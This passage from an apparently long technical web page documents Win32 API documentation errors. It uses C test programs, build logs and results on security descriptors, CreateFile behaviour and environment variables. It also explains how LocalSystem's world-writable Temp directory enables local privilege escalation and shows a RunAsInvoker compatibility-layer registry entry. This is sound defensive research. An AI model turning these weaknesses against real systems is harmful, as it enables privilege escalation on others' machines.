					                          SACL_SECURITY_INFORMATION | PROTECTED_SACL_SECURITY_INFORMATION | UNPROTECTED_SACL_SECURITY_INFORMATION |
#endif
					                          DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION |
					                          LABEL_SECURITY_INFORMATION | OWNER_SECURITY_INFORMATION,
					                          &owner,
					                          (SID *) NULL,
					                          (ACL *) NULL,
#ifndef BLUNDER
					                          (ACL *) NULL);
#else
					                          &sacl);
#endif
					if (!CloseHandle(hBlunder))
						dwError = GetLastError();
				}
			}
#endif // blunder
			if (!CloseHandle(hToken))
				dwError = GetLastError();
		}
		if (!DeleteFile(L"blunder.tmp"))
			dwError = GetLastError();
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c overwritten
            in step 11. a first time:
        
CL.EXE blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(47) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(49) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(60) : warning C4090: 'function' : different 'const' qualifiers blunder.c(80) : warning C4090: 'function' : different 'const' qualifiers blunder.c(95) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 12. with elevated access rights and evaluate its exit
            code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access denied. CertUtil: -error command completed successfully.OUCH⁵: the Win32 function
SetNamedSecurityInfo()
            fails to write the
            security descriptor
            with Win32 error code 5 alias
            ERROR_ACCESS_DENIED
            – contrary to the highlighted statements of the first
            documentation cited above, the
            SeRestorePrivilege
            alias
            SE_RESTORE_NAME
            privilege
            does not grant the explicitly
            named WRITE_DAC and
            WRITE_OWNER access rights!
         Compile and link the source file blunder.c overwritten
            in step 11. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(47) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(49) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(60) : warning C4090: 'function' : different 'const' qualifiers blunder.c(80) : warning C4090: 'function' : different 'const' qualifiers blunder.c(95) : warning C4090: 'function' : different 'const' qualifiers blunder.c(101) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 14. with elevated access rights and evaluate its exit
            code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x522 (WIN32: 1314 ERROR_PRIVILEGE_NOT_HELD) -- 1314 (1314) Error message text: A required privilege is not held by the client. CertUtil: -error command completed successfully.OUCH⁶: the Win32 function
SetNamedSecurityInfo()
            fails to write the
            security descriptor
            with Win32 error code 1314 alias
            ERROR_PRIVILEGE_NOT_HELD
            – contrary to the highlighted statements of the first
            documentation cited above, the
            SeRestorePrivilege
            alias
            SE_RESTORE_NAME
            privilege
            also fails to grant the explicitly named
            ACCESS_SYSTEM_SECURITY access right
            required to (read and) write the
            SACL of a
            security descriptor!
         Compile and link the source file blunder.c overwritten
            in step 11. a third time, now with the preprocessor macro
            blunder defined:
        
CL.EXE /Dblunder blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(47) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(49) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(60) : warning C4090: 'function' : different 'const' qualifiers blunder.c(80) : warning C4090: 'function' : different 'const' qualifiers blunder.c(125) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 16. with elevated access rights and evaluate its exit
            code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.Note: the Win32 function
SetSecurityInfo()
            succeeds and works properly – most obviously the
            SetNamedSecurityInfo()
            function opens files without the
            FILE_FLAG_BACKUP_SEMANTICS flag!
         Compile and link the source file blunder.c overwritten
            in step 11. a last time, now with the preprocessor macros
            BLUNDER and blunder defined:
        
CL.EXE /DBLUNDER /Dblunder blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(47) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(49) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(60) : warning C4090: 'function' : different 'const' qualifiers blunder.c(80) : warning C4090: 'function' : different 'const' qualifiers blunder.c(125) : warning C4090: 'function' : different 'const' qualifiers blunder.c(131) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 18. with elevated access rights and evaluate its exit
            code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.
CreateFile()
            states in section Directories:
An application cannot create a directory by using CreateFile, therefore only the OPEN_EXISTING value is valid for dwCreationDisposition for this use case. To create a directory, the application must call CreateDirectory or CreateDirectoryEx.The MSDN article Creating and Opening Files repeats this false statement in its section
File Attributes and Directories:
In the case of FILE_ATTRIBUTE_DIRECTORY, the CreateDirectory function is required at creation time because CreateFile cannot create directories.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define FILE_SHARE_NONE	0UL
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	DWORD	dwError = ERROR_SUCCESS;
	WCHAR	szBlunder[MAX_PATH];
	HANDLE	hBlunder = CreateFile(L"Blunder",
		                      MAXIMUM_ALLOWED,
		                      FILE_SHARE_NONE,
		                      (LPSECURITY_ATTRIBUTES) NULL,
		                      CREATE_NEW,
		                      FILE_ATTRIBUTE_DIRECTORY | FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_DELETE_ON_CLOSE | FILE_FLAG_POSIX_SEMANTICS,
		                      (HANDLE) NULL);
	if (hBlunder == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		if (GetTempFileName(L"Blunder", L"tmp", 0U, szBlunder) == 0U)
			dwError = GetLastError();
		else
			if (!DeleteFile(szBlunder))
				dwError = GetLastError();
		if (!CloseHandle(hBlunder))
			dwError = GetLastError();
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OOPS: contrary to the highlighted statements of both documentations cited above, the
CreateFile()
            function but creates a directory!
        CreateFileTransacted()
            function is left as an exercise to the reader.
        Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.
CreateFile()
            states:
        Creates or opens a file or I/O device. […]The MSDN article Creating and Opening Files states but otherwise:[…]HANDLE CreateFile( [in] LPCTSTR lpFileName, [in] DWORD dwDesiredAccess, [in] DWORD dwShareMode, [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes, [in] DWORD dwCreationDisposition, [in] DWORD dwFlagsAndAttributes, [in, optional] HANDLE hTemplateFile );
[in] dwShareModeThe requested sharing mode of the file or device, which can be read, write, both, delete, all of these, or none (refer to the following table). Access requests to attributes or extended attributes are not affected by this flag.
If this parameter is zero and CreateFile succeeds, the file or device cannot be shared and cannot be opened again until the handle to the file or device is closed. […]
An application also uses CreateFile to specify whether it wants to share the file for reading, writing, both, or neither. This is known as the sharing mode. An open file that is not shared (dwShareMode set to zero) cannot be opened again, either by the application that opened it or by another application, until its handle has been closed. This is also referred to as exclusive access.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define FILE_SHARE_NONE	0UL
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	DWORD	dwError = ERROR_SUCCESS;
	HANDLE	hBlunder2;
	HANDLE	hBlunder1 = CreateFile(L"blunder.obj",
		                       FILE_GENERIC_READ | FILE_GENERIC_WRITE,
		                       FILE_SHARE_NONE,
		                       (LPSECURITY_ATTRIBUTES) NULL,
		                       OPEN_EXISTING,
		                       FILE_ATTRIBUTE_NORMAL,
		                       (HANDLE) NULL);
	if (hBlunder1 == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		hBlunder2 = CreateFile(L"blunder.obj",
		                       READ_CONTROL | SYNCHRONIZE | WRITE_DAC | WRITE_OWNER,
		                       FILE_SHARE_NONE,
		                       (LPSECURITY_ATTRIBUTES) NULL,
		                       OPEN_EXISTING,
		                       FILE_ATTRIBUTE_NORMAL,
		                       (HANDLE) NULL);
		if (hBlunder2 == INVALID_HANDLE_VALUE)
			dwError = GetLastError();
		else
			if (!CloseHandle(hBlunder2))
				dwError = GetLastError();
		if (!CloseHandle(hBlunder1))
			dwError = GetLastError();
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OOPS: contrary to the highlighted statement of the MSDN article cited above, the
CreateFile()
            function opens a file already opened for exclusive (read and write)
            access!
        CreateFileTransacted()
            function is left as an exercise to the reader.
        Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.
Every process has an environment block that contains a set of environment variables and their values. There are two types of environment variables: user environment variables (set for each user) and system environment variables (set for everyone).OUCH⁰: contrary to the highlighted statement of this article, the name of an environment variable can but include an equal sign!By default, a child process inherits the environment variables of its parent process. […]
Each environment block contains the environment variables in the following format:
Var1=Value1\0
Var2=Value2\0
Var3=Value3\0
...
VarN=ValueN\0\0The name of an environment variable cannot include an equal sign (=).
[…] To programmatically add or modify system environment variables, add them to the HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment registry key, then broadcast a WM_SETTINGCHANGE message with lParam set to the string "Environment". This allows applications, such as the shell, to pick up your updates.
The MSDN article User Environment Variables states:
Environment variables specify search paths for files, directories for temporary files, application-specific options, and other similar information. The system maintains an environment block for each user and one for the computer. The system environment block represents environment variables for all users of the particular computer. A user's environment block represents the environment variables the system maintains for that particular user, including the set of system environment variables.Both articles but fail to tell that two kinds of user environment variables exist, persistent and volatile, that volatile environment variables obscure persistent environment variables with the same name, how to add, modify or remove them, and where they are stored:By default, each process receives a copy of the environment block for its parent process. Typically, this is the environment block for the user who is logged on. […]
To retrieve a copy of the environment block for a given user, use the CreateEnvironmentBlock function.
HKEY_CURRENT_USER\Environment alias
            HKEY_USERS\‹security identifier›\Environment;
        HKEY_CURRENT_USER\Volatile Environment alias
            HKEY_USERS\‹security identifier›\Volatile Environment
            where they are created during user logon after the registry hive is
            loaded and discarded when the user logs off and the registry hive is
            unloaded – volatile registry keys and their registry entries
            are not written to disk.
            Environment variables in Windows NT
            HOWTO: Propagate Environment Variables to the System
            HKEY_CURRENT_USER
        LibPath,
            OS2LibPath and Path are assigned to the
            respective process environment variable during user logon;
        NT AUTHORITY\SYSTEM alias
            LocalSystem
            user account get the persistent system environment variables
            TEMP and TMP instead of the respective
            persistent user environment variables!
        Thanksto the blunder listed last, privileged processes running under the
NT AUTHORITY\SYSTEM alias
            LocalSystem
            user account use the public user-writable and therefore
            unsafe directory %SystemRoot%\Temp\
            instead of their private and safe directory
            %USERPROFILE%\AppData\Local\Temp\ alias
            %SystemRoot%\System32\Config\SystemProfile\AppData\Local\Temp\,
            allowing unprivileged users to tamper with (executable) files
            created there by these privileged processes, eventually resulting in
            local escalation of privilege.
        Note: see the Security Advisory ADV170017 for just one example of such a vulnerability.
 Both articles also fail to tell that not all system environment
            variables are stored in the registry key
            HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment:
        
__COMPAT_LAYER is
            created programmatically for processes listed with their fully
            qualified path name and the variable value in the registry keys
            HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
            or
            HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
            during process creation;
        ALLUSERSPROFILE,
            COMPUTERNAME, PROCESSOR_ARCHITEW6432,
            PUBLIC, CommonProgramFiles,
            CommonProgramFiles(x86),
            CommonProgramW6432, ProgramData,
            ProgramFiles, ProgramFiles(x86),
            ProgramW6432, SystemDrive and
            SystemRoot are created programmatically, similar to the
            volatile user environment variables created during user logon.
        __COMPAT_LAYER, whose
            values are appended to that of an existing environment variable with
            this name, they are but obscured by persistent system environment
            variables as well as persistent and volatile user environment
            variables with the same name stored in the registry keys shown
            above!
         And last, both articles fail to mention the immutable dynamic system
            environment variables FIRMWARE_TYPE (introduced with
            Windows 8 and Windows Server 2012) plus
            NUMBER_OF_PROCESSORS, __APPDIR__ and
            __CD__ (introduced with Windows Vista and
            Windows Server 2008) which are nowhere stored and not
            present in the process environment block, but evaluated upon
            expansion.
        
Note: they are not obscured by regular environment variables of the same name!
The MSDN article WOW64 Implementation Details specifies:
The documentation for the Win32 functionWhen a 32-bit process is created by a 64-bit process, or when a 64-bit process is created by a 32-bit process, WOW64 sets the environment variables for the created process as shown in the following table.
Process Environment variables 64-bit process PROCESSOR_ARCHITECTURE=AMD64 or PROCESSOR_ARCHITECTURE=IA64 or PROCESSOR_ARCHITECTURE=ARM64 
ProgramFiles=%ProgramFiles%
ProgramW6432=%ProgramFiles%
CommonProgramFiles=%CommonProgramFiles%
CommonProgramW6432=%CommonProgramFiles%
Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: The ProgramW6432 and CommonProgramW6432 environment variables were added starting with Windows 7 and Windows Server 2008 R2.32-bit process PROCESSOR_ARCHITECTURE=x86 
PROCESSOR_ARCHITEW6432=%PROCESSOR_ARCHITECTURE%
ProgramFiles=%ProgramFiles(x86)%
ProgramW6432=%ProgramFiles%
CommonProgramFiles=%CommonProgramFiles(x86)%
CommonProgramW6432=%CommonProgramFiles%
CreateEnvironmentBlock()
            specifies:
        Retrieves the environment variables for the specified user. […][…]BOOL CreateEnvironmentBlock( [out] LPVOID *lpEnvironment, [in, optional] HANDLE hToken, [in] BOOL bInherit );
[in, optional] hTokenToken for the user […]
If this parameter is NULL, the returned environment block contains system variables only.
Tempdirectory
%SystemRoot%\Temp\ via the system environment variables
            TEMP and TMP.
         Windows 2000 introduced a user profile for the
            (privileged) NT AUTHORITY\SYSTEM alias
            LocalSystem
            user account in the new directory
            %SystemRoot%\System32\Config\SystemProfile\ –
            which is but subject to
            file system redirection
            on 64-bit editions of Windows NT, where
            separate directories
            %SystemRoot%\System32\Config\SystemProfile\ and
            %SystemRoot%\SysWoW64\Config\SystemProfile\ exist!
        
 It also relocated all user profiles from their previous directories
            %SystemRoot%\Profiles\%USERNAME%\ into new directories
            %SystemDrive%\Documents and Settings\%USERNAME%\ and
            introduced a private Temp
 directory
            %USERPROFILE%\Local Settings\Temp\ alias
            %SystemDrive%\Documents and Settings\%USERNAME%\Local Settings\Temp\
            located within these user profiles together with new user
            environment variables TEMP and TMP
            – except for the
            LocalSystem
            user account, which continued (and still continues) to use the
            (still world-writable) directory %SystemRoot%\Temp\ via
            the system environment variables TEMP and
            TMP.
        
 Windows XP added the (less privileged) user accounts
            NT AUTHORITY\LOCAL SERVICE alias
            LocalService
            and NT AUTHORITY\NETWORK SERVICE alias
            NetworkService,
            placed their user profiles in the directories
            %SystemDrive%\Documents and Settings\LocalService\ and
            %SystemDrive%\Documents and Settings\NetworkService\,
            created a private Temp
 directory within both user profiles
            and set their user environment variables TEMP and
            TMP to %USERPROFILE%\Local Settings\Temp.
        
 Windows Vista relocated these two service profiles to
            the new directories
            %SystemRoot%\ServiceProfiles\LocalService\ and
            %SystemRoot%\ServiceProfiles\NetworkService\, relocated
            all regular user profiles
            %SystemDrive%\Documents and Settings\%USERNAME%\ to
            the directories %SystemDrive%\Users\%USERNAME%\, but
            kept the profiles
            %SystemRoot%\System32\Config\SystemProfile\ and
            %SystemRoot%\SysWoW64\Config\SystemProfile\.
        
All user accounts except
            LocalSystem
            kept their private Temp
 directory, now
            %USERPROFILE%\AppData\Local\Temp\ alias
            %SystemDrive%\Users\%USERNAME%\AppData\Local\Temp\ for
            the regular user accounts and
            %SystemRoot%\ServiceProfiles\LocalService\AppData\Local\Temp\
            respectively
            %SystemRoot%\ServiceProfiles\NetworkService\AppData\Local\Temp\
            for the service user accounts.
        
 At least since Windows 7 the user environment variables
            TEMP and TMP are set in the
            LocalSystem
            user account too, despite the directory
            %USERPROFILE%\AppData\Local\Temp\ alias
            %SystemRoot%\System32\Config\SystemProfile\AppData\Local\Temp\
            or
            %SystemRoot%\SysWoW64\Config\SystemProfile\AppData\Local\Temp\
            is missing in its user profiles!
        
The MSDN article Profiles Directory provides additional information.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
const	STARTUPINFO	si = {sizeof(si)};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	PROCESS_INFORMATION pi;
	DWORD	dwProcess;
	DWORD	dwThread;
	DWORD	dwError = ERROR_SUCCESS;
#ifndef BLUNDER
	if (!CreateProcess(L"C:\\Windows\\System32\\Cmd.exe",
	                   L"%COMSPEC% /D /C SET ;",
#else
	if (!CreateProcess(L"C:\\Windows\\System32\\CScript.exe",
	                   L"CScript blunder.vbs",
#endif
	                   (LPSECURITY_ATTRIBUTES) NULL,
	                   (LPSECURITY_ATTRIBUTES) NULL,
	                   FALSE,
	                   CREATE_DEFAULT_ERROR_MODE | CREATE_UNICODE_ENVIRONMENT,
#ifndef blunder
	                   L"",
#else
	                   L"__COMPAT_LAYER=DisableThemes\0",
#endif
	                   (LPCWSTR) NULL,
	                   &si,
	                   &pi))
		dwError = GetLastError();
	else
	{
		if (WaitForSingleObject(pi.hThread, INFINITE) == WAIT_FAILED)
			dwError = GetLastError();
		if (!GetExitCodeThread(pi.hThread, &dwThread))
			dwError = GetLastError();
		else
			dwError = 0UL - dwThread;
		if (!CloseHandle(pi.hThread))
			dwError = GetLastError();
		if (WaitForSingleObject(pi.hProcess, INFINITE) == WAIT_FAILED)
			dwError = GetLastError();
		if (!GetExitCodeProcess(pi.hProcess, &dwProcess))
			dwError = GetLastError();
		else
			dwError = 0UL - dwProcess;
		if (!CloseHandle(pi.hProcess))
			dwError = GetLastError();
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(36) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
=C:=C:\Users\Stefan\Desktop
COMSPEC=C:\Windows\SysWOW64\Cmd.exe
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC
PROMPT=$P$G
0
            Note: started with an empty
            process environment block, the
            Command Processor
            Cmd.exe displays only the
            environment variables defined by itself – including one that
            starts with an equal sign!
         Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            blunder defined:
        
CL.EXE /Dblunder blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(36) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Create the registry entry %COMSPEC% alias
            %SystemRoot%\System32\cmd.exe alias
            C:\Windows\System32\cmd.exe with value
            RunAsInvoker in the registry key
            HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers,
            then execute the console application blunder.exe
            built in step 4. and evaluate its exit code:
        
REG.EXE ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /V "%COMSPEC%" /T REG_SZ /D RunAsInvoker .\blunder.exe ECHO %ERRORLEVEL%
The operation completed successfully. =C:=C:\Users\Stefan\Desktop COMSPEC=C:\Windows\SysWOW64\Cmd.exe PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC PROMPT=$P$G __COMPAT_LAYER=DisableThemes RunAsInvoker 0Note: the path name supplied to the Win32 function
CreateProcess()
            is most obviously looked up in the registry before
            file system redirection
            and
            registry redirection
            are applied!
         Compile and link the source file blunder.c created in
            step 1. a third time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(36) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Create the text file blunder.vbs with the following
            content next to the console application blunder.exe
            built in step 6.:
        
Rem Copyleft © 1997-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
With WScript.CreateObject("WScript.Shell")
    WScript.StdOut.WriteLine "Environment Variables"
    For Each strScope In Array("PROCESS", "SYSTEM", "USER", "VOLATILE")
        WScript.StdOut.WriteLine
        WScript.StdOut.WriteLine "Scope '" & strScope & "': " & .Environment(strScope).Count & " items"
        For Each strItem In .Environment(strScope)
            WScript.StdOut.WriteLine vbTab & strItem
        Next
    Next
End With Execute the console application blunder.exe built in
            step 6. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
Microsoft (R) Windows Script Host, Version 5.812 Copyright (C) Microsoft Corporation. All rights reserved. Environment Variables Scope 'PROCESS': 0 items Scope 'SYSTEM': 15 items ComSpec=%SystemRoot%\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData OS=Windows_NT Path=%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\ PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;%SystemRoot%\system32\WindowsPowerShell\v1.0\Modules TEMP=%SystemRoot%\TEMP TMP=%SystemRoot%\TEMP USERNAME=SYSTEM windir=%SystemRoot% NUMBER_OF_PROCESSORS=4 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=5e03 Scope 'USER': 4 items Path=%USERPROFILE%\AppData\Local\Microsoft\WindowsApps; TEMP=%USERPROFILE%\AppData\Local\Temp TMP=%USERPROFILE%\AppData\Local\Temp OneDrive=C:\Users\Stefan\OneDrive Scope 'VOLATILE': 9 items LOGONSERVER=\\AMNESIAC USERDOMAIN=AMNESIAC USERNAME=Stefan USERPROFILE=C:\Users\Stefan HOMEPATH=\Users\Stefan HOMEDRIVE=C: APPDATA=C:\Users\Stefan\AppData\Roaming LOCALAPPDATA=C:\Users\Stefan\AppData\Local USERDOMAIN_ROAMINGPROFILE=AMNESIAC 0Note: started with an empty process environment block, the VBScript
blunder.vbs executed by the
            Console Based Script Host
            CScript.exe displays
            only the environment variables stored in the registry keys named
            above – except the subkey
            HKEY_CURRENT_USER\Volatile Environment\1 shown below!
        single point of failure.
 Start the Command Processor
            Cmd.exe, then query
            the registry keys
            HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment,
            HKEY_USERS\S-1-5-18\Environment and
            HKEY_USERS\S-1-5-18\Volatile Environment to display the
            persistent system environment variables and the (persistent and
            volatile) user environment variables of the
            NT AUTHORITY\SYSTEM alias
            LocalSystem
            user account:
        
REG.EXE QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" REG.EXE QUERY "HKEY_USERS\S-1-5-18\Environment" REG.EXE QUERY "HKEY_USERS\S-1-5-18\Volatile Environment"Note: the MSKB article 243300 gives the well-known SID
S-1-5-18 for the
            NT AUTHORITY\SYSTEM alias
            LocalSystem
            user account.
        Note: the command lines can be copied and pasted as block into a Command Processor window.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
    ComSpec    REG_EXPAND_SZ    %SystemRoot%\system32\cmd.exe
    DriverData    REG_SZ    C:\Windows\System32\Drivers\DriverData
    OS    REG_SZ    Windows_NT
    Path    REG_EXPAND_SZ    %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\
    PATHEXT    REG_SZ    .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
    PROCESSOR_ARCHITECTURE    REG_SZ    AMD64
    PSModulePath    REG_EXPAND_SZ    %ProgramFiles%\WindowsPowerShell\Modules;%SystemRoot%\system32\WindowsPowerShell\v1.0\Modules
    TEMP    REG_EXPAND_SZ    %SystemRoot%\TEMP
    TMP    REG_EXPAND_SZ    %SystemRoot%\TEMP
    USERNAME    REG_SZ    SYSTEM
    windir    REG_EXPAND_SZ    %SystemRoot%
    NUMBER_OF_PROCESSORS    REG_SZ    4
    PROCESSOR_IDENTIFIER    REG_SZ    Intel64 Family 6 Model 94 Stepping 3, GenuineIntel
    PROCESSOR_LEVEL    REG_SZ    6
